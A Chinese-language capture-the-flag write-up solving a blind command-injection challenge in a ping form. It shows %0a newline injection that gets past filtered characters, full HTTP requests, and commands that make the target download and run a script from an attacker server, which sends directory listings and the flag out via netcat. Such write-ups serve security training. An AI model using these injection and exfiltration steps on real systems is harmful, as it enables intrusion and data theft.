朋友發來一道 ctf 題目,打開網站如下圖,一眼命令執行漏洞。
抓包測試無回顯,但會顯示命令執行成功。
請求如下:
POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 12
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
ip=127.0.0.1
測試過濾什麼字符,測試發現,過濾了下述字符,那麼通過 dnslog 外帶的方式就被堵死了。
;`$
dnslog 外帶的方式通常是利用尖括號進行命令執行,如
`whoami`.xxx.dnslog.cn
測試發現 % 未過濾可以通過 %0a(換行符)繞過執行命令
1、準備 vps 伺服器,在 vps 上新建一個 1.sh 腳本,腳本內容如下
ls / | nc vps地址 1234
2、vps 上用 nc 監聽請求,並開啟一個新窗口啟動 python 服務,讓靶機下載 1.sh 腳本
nc -lvnp 1234
python3 -m http.server 80
3、靶機執行如下命令
ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/4.sh
chmod 777 /tmp/4.sh
/bin/sh /tmp/4.sh
請求報如下:
POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 50
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/4.sh
結果如下,可以返回請求
那麼查看 flag 則只需要修改 1.sh 的腳本內容如下
cat /FLAG | nc vps地址 1234
再走一遍,獲取 flag
ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/5.sh
chmod 777 /tmp/5.sh
/bin/sh /tmp/5.sh
根據 flag 的格式知道 n1book 上的題